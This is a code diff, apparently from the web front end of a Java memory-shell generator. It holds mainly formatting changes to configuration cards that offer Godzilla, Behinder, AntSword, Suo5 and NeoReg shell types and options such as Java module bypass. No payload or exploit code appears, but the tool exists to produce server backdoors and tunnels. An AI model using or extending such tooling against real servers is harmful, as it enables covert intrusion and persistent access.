@@ -13,7 +10,12 @@ import { GodzillaTabContent } from "@/components/memshell/tabs/godzilla-tab";
import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab"; import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab";
import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab"; import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { Field, FieldContent, FieldDescription, FieldLabel } from "@/components/ui/field"; import {
Field,
FieldContent,
FieldDescription,
FieldLabel,
} from "@/components/ui/field";
import { Label } from "@/components/ui/label"; import { Label } from "@/components/ui/label";
import { import {
Select, Select,
@@ -24,9 +26,17 @@ import {
} from "@/components/ui/select"; } from "@/components/ui/select";
import { Switch } from "@/components/ui/switch"; import { Switch } from "@/components/ui/switch";
import { Tabs } from "@/components/ui/tabs"; import { Tabs } from "@/components/ui/tabs";
import { Tooltip, TooltipContent, TooltipTrigger } from "@/components/ui/tooltip"; import {
import { type MainConfig, type ServerConfig, ShellToolType } from "@/types/memshell"; Tooltip,
TooltipContent,
TooltipTrigger,
} from "@/components/ui/tooltip";
import {
type MainConfig,
type ServerConfig,
ShellToolType,
} from "@/types/memshell";
import type { MemShellFormSchema } from "@/types/schema";
import { Spinner } from "../ui/spinner"; import { Spinner } from "../ui/spinner";
import { JREVersionFormField } from "./jreversion-field"; import { JREVersionFormField } from "./jreversion-field";
import { ServerVersionFormField } from "./serverversion-field"; import { ServerVersionFormField } from "./serverversion-field";
@@ -66,7 +76,9 @@ export default function MainConfigCard({
if (!serverToolMap) { if (!serverToolMap) {
return []; return [];
} }
const tools = Object.keys(serverToolMap).map((tool) => tool as ShellToolType); const tools = Object.keys(serverToolMap).map(
(tool) => tool as ShellToolType,
);
return Array.from(new Set([...tools, ShellToolType.Custom])); return Array.from(new Set([...tools, ShellToolType.Custom]));
}, [serverToolMap]); }, [serverToolMap]);
@@ -122,8 +134,8 @@ export default function MainConfigCard({
const currentTargetJdk = form.getValues("targetJdkVersion") as string; const currentTargetJdk = form.getValues("targetJdkVersion") as string;
const currentJdkVersion = Number.parseInt(currentTargetJdk, 10); const currentJdkVersion = Number.parseInt(currentTargetJdk, 10);
const shouldRaiseJdkVersion = const shouldRaiseJdkVersion =
(server === "SpringWebFlux" || server === "XXLJOB" || server === "Dubbo") && (server === "SpringWebFlux" || server === "XXLJOB") &&
currentJdkVersion <= 52; currentJdkVersion < 52;
const nextJdkVersion = shouldRaiseJdkVersion ? "52" : "50"; const nextJdkVersion = shouldRaiseJdkVersion ? "52" : "50";
if (currentTargetJdk !== nextJdkVersion) { if (currentTargetJdk !== nextJdkVersion) {
form.setValue("targetJdkVersion", nextJdkVersion); form.setValue("targetJdkVersion", nextJdkVersion);
@@ -233,27 +245,39 @@ export default function MainConfigCard({
</CardHeader> </CardHeader>
<CardContent> <CardContent>
{!mainConfig ? ( {!mainConfig ? (
<div className="flex h-100 items-center justify-center gap-4 p-4"> <div className="flex items-center justify-center p-4 gap-4 h-100">
<Spinner /> <Spinner />
<span className="text-sm text-muted-foreground">{t("loading")}</span> <span className="text-sm text-muted-foreground">
{t("loading")}
</span>
</div> </div>
) : ( ) : (
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<div className="grid grid-cols-1 gap-2 md:grid-cols-2"> <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<Controller <Controller
control={form.control} control={form.control}
name="server" name="server"
render={({ field }) => ( render={({ field }) => (
<Field> <Field>
<FieldContent> <FieldContent>
<FieldLabel htmlFor="server">{t("common:server")}</FieldLabel> <FieldLabel htmlFor="server">
<Select onValueChange={field.onChange} value={field.value}> {t("common:server")}
</FieldLabel>
<Select
onValueChange={field.onChange}
value={field.value}
>
<SelectTrigger id="server"> <SelectTrigger id="server">
<SelectValue data-placeholder={t("common:placeholders.select")} /> <SelectValue
data-placeholder={t("common:placeholders.select")}
/>
</SelectTrigger> </SelectTrigger>
<SelectContent> <SelectContent>
{serverOptions.map((serverOption) => ( {serverOptions.map((serverOption) => (
<SelectItem key={serverOption} value={serverOption}> <SelectItem
key={serverOption}
value={serverOption}
>
{serverOption} {serverOption}
</SelectItem> </SelectItem>
))} ))}
@@ -277,20 +301,26 @@ export default function MainConfigCard({
/> />
<ServerVersionFormField form={form} /> <ServerVersionFormField form={form} />
</div> </div>
<div className="grid grid-cols-1 gap-2 md:grid-cols-2"> <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<Controller <Controller
control={form.control} control={form.control}
name="shellTool" name="shellTool"
render={({ field }) => ( render={({ field }) => (
<Field> <Field>
<FieldContent> <FieldContent>
<FieldLabel htmlFor="shellTool">{t("common:shellTool")}</FieldLabel> <FieldLabel htmlFor="shellTool">
{t("common:shellTool")}
</FieldLabel>
<Select <Select
value={field.value} value={field.value}
onValueChange={(v) => handleShellToolChange(v as string)} onValueChange={(v) =>
handleShellToolChange(v as string)
}
> >
<SelectTrigger id="shellTool"> <SelectTrigger id="shellTool">
<SelectValue data-placeholder={t("common:placeholders.select")} /> <SelectValue
data-placeholder={t("common:placeholders.select")}
/>
</SelectTrigger> </SelectTrigger>
<SelectContent> <SelectContent>
{shellTools.map((tool) => ( {shellTools.map((tool) => (
@@ -306,17 +336,21 @@ export default function MainConfigCard({
/> />
<JREVersionFormField form={form} /> <JREVersionFormField form={form} />
</div> </div>
<div className="mt-4 flex flex-col gap-4 lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3"> <div className="flex gap-4 mt-4 flex-col lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
<Controller <Controller
control={form.control} control={form.control}
name="debug" name="debug"
render={({ field }) => ( render={({ field }) => (
<div className="flex items-center gap-2"> <div className="flex items-center gap-2">
<Switch id="debug" checked={field.value} onCheckedChange={field.onChange} /> <Switch
id="debug"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="debug">{t("common:debug")}</Label> <Label htmlFor="debug">{t("common:debug")}</Label>
<Tooltip> <Tooltip>
<TooltipTrigger> <TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" /> <InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger> </TooltipTrigger>
<TooltipContent> <TooltipContent>
<p>{t("common:debug.description")}</p> <p>{t("common:debug.description")}</p>
@@ -330,11 +364,15 @@ export default function MainConfigCard({
name="probe" name="probe"
render={({ field }) => ( render={({ field }) => (
<div className="flex items-center gap-2"> <div className="flex items-center gap-2">
<Switch id="probe" checked={field.value} onCheckedChange={field.onChange} /> <Switch
id="probe"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="probe">{t("common:probe")}</Label> <Label htmlFor="probe">{t("common:probe")}</Label>
<Tooltip> <Tooltip>
<TooltipTrigger> <TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" /> <InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger> </TooltipTrigger>
<TooltipContent> <TooltipContent>
<p>{t("common:probe.description")}</p> <p>{t("common:probe.description")}</p>
@@ -348,11 +386,17 @@ export default function MainConfigCard({
name="byPassJavaModule" name="byPassJavaModule"
render={({ field }) => ( render={({ field }) => (
<div className="flex items-center gap-2"> <div className="flex items-center gap-2">
<Switch id="bypass" checked={field.value} onCheckedChange={field.onChange} /> <Switch
<Label htmlFor="bypass">{t("common:byPassJavaModule")}</Label> id="bypass"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="bypass">
{t("common:byPassJavaModule")}
</Label>
<Tooltip> <Tooltip>
<TooltipTrigger> <TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" /> <InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger> </TooltipTrigger>
<TooltipContent> <TooltipContent>
<p>{t("common:byPassJavaModule.description")}</p> <p>{t("common:byPassJavaModule.description")}</p>
@@ -371,10 +415,12 @@ export default function MainConfigCard({
checked={field.value} checked={field.value}
onCheckedChange={field.onChange} onCheckedChange={field.onChange}
/> />
<Label htmlFor="lambdaSuffix">{t("common:lambdaSuffix")}</Label> <Label htmlFor="lambdaSuffix">
{t("common:lambdaSuffix")}
</Label>
<Tooltip> <Tooltip>
<TooltipTrigger> <TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" /> <InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger> </TooltipTrigger>
<TooltipContent> <TooltipContent>
<p>{t("common:lambdaSuffix.description")}</p> <p>{t("common:lambdaSuffix.description")}</p>
@@ -388,11 +434,15 @@ export default function MainConfigCard({
name="shrink" name="shrink"
render={({ field }) => ( render={({ field }) => (
<div className="flex items-center gap-2"> <div className="flex items-center gap-2">
<Switch id="shrink" checked={field.value} onCheckedChange={field.onChange} /> <Switch
id="shrink"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="shrink">{t("common:shrink")}</Label> <Label htmlFor="shrink">{t("common:shrink")}</Label>
<Tooltip> <Tooltip>
<TooltipTrigger> <TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" /> <InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger> </TooltipTrigger>
<TooltipContent> <TooltipContent>
<p>{t("common:shrink.description")}</p> <p>{t("common:shrink.description")}</p>
@@ -411,10 +461,12 @@ export default function MainConfigCard({
checked={field.value} checked={field.value}
onCheckedChange={field.onChange} onCheckedChange={field.onChange}
/> />
<Label htmlFor="staticInitialize">{t("common:staticInitialize")}</Label> <Label htmlFor="staticInitialize">
{t("common:staticInitialize")}
</Label>
<Tooltip> <Tooltip>
<TooltipTrigger> <TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" /> <InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger> </TooltipTrigger>
<TooltipContent> <TooltipContent>
<p>{t("common:staticInitialize.description")}</p> <p>{t("common:staticInitialize.description")}</p>
@@ -435,7 +487,11 @@ export default function MainConfigCard({
<BehinderTabContent form={form} shellTypes={shellTypes} /> <BehinderTabContent form={form} shellTypes={shellTypes} />
<AntSwordTabContent form={form} shellTypes={shellTypes} /> <AntSwordTabContent form={form} shellTypes={shellTypes} />
<Suo5TabContent tabValue="Suo5" form={form} shellTypes={shellTypes} /> <Suo5TabContent tabValue="Suo5" form={form} shellTypes={shellTypes} />
<Suo5TabContent tabValue="Suo5v2" form={form} shellTypes={shellTypes} /> <Suo5TabContent
tabValue="Suo5v2"
form={form}
shellTypes={shellTypes}
/>
<NeoRegTabContent form={form} shellTypes={shellTypes} /> <NeoRegTabContent form={form} shellTypes={shellTypes} />
<CustomTabContent form={form} shellTypes={shellTypes} /> <CustomTabContent form={form} shellTypes={shellTypes} />
<ProxyTabContent form={form} shellTypes={shellTypes} /> <ProxyTabContent form={form} shellTypes={shellTypes} />
@@ -1,15 +1,13 @@
import type { PackerConfig } from "@/types/memshell";
import type { MemShellFormSchema } from "@/types/schema";
import { PackageIcon } from "lucide-react"; import { PackageIcon } from "lucide-react";
import { useMemo } from "react"; import { useMemo } from "react";
import { Controller, type UseFormReturn, useWatch } from "react-hook-form"; import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { FieldLabel, FieldSet } from "@/components/ui/field"; import { FieldLabel, FieldSet } from "@/components/ui/field";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
import { Spinner } from "@/components/ui/spinner"; import { Spinner } from "@/components/ui/spinner";
import type { PackerConfig } from "@/types/memshell";
import type { MemShellFormSchema } from "@/types/schema";
export default function PackageConfigCard({ export default function PackageConfigCard({
packerConfig, packerConfig,
@@ -86,9 +84,11 @@ export default function PackageConfigCard({
)} )}
/> />
) : ( ) : (
<div className="flex h-50 items-center justify-center gap-4 p-4"> <div className="flex items-center justify-center p-4 gap-4 h-50">
<Spinner /> <Spinner />
<span className="text-sm text-muted-foreground">{t("loading")}</span> <span className="text-sm text-muted-foreground">
{t("loading")}
</span>
</div> </div>
)} )}
</CardContent> </CardContent>

Some files were not shown because too many files have changed in this diff Show More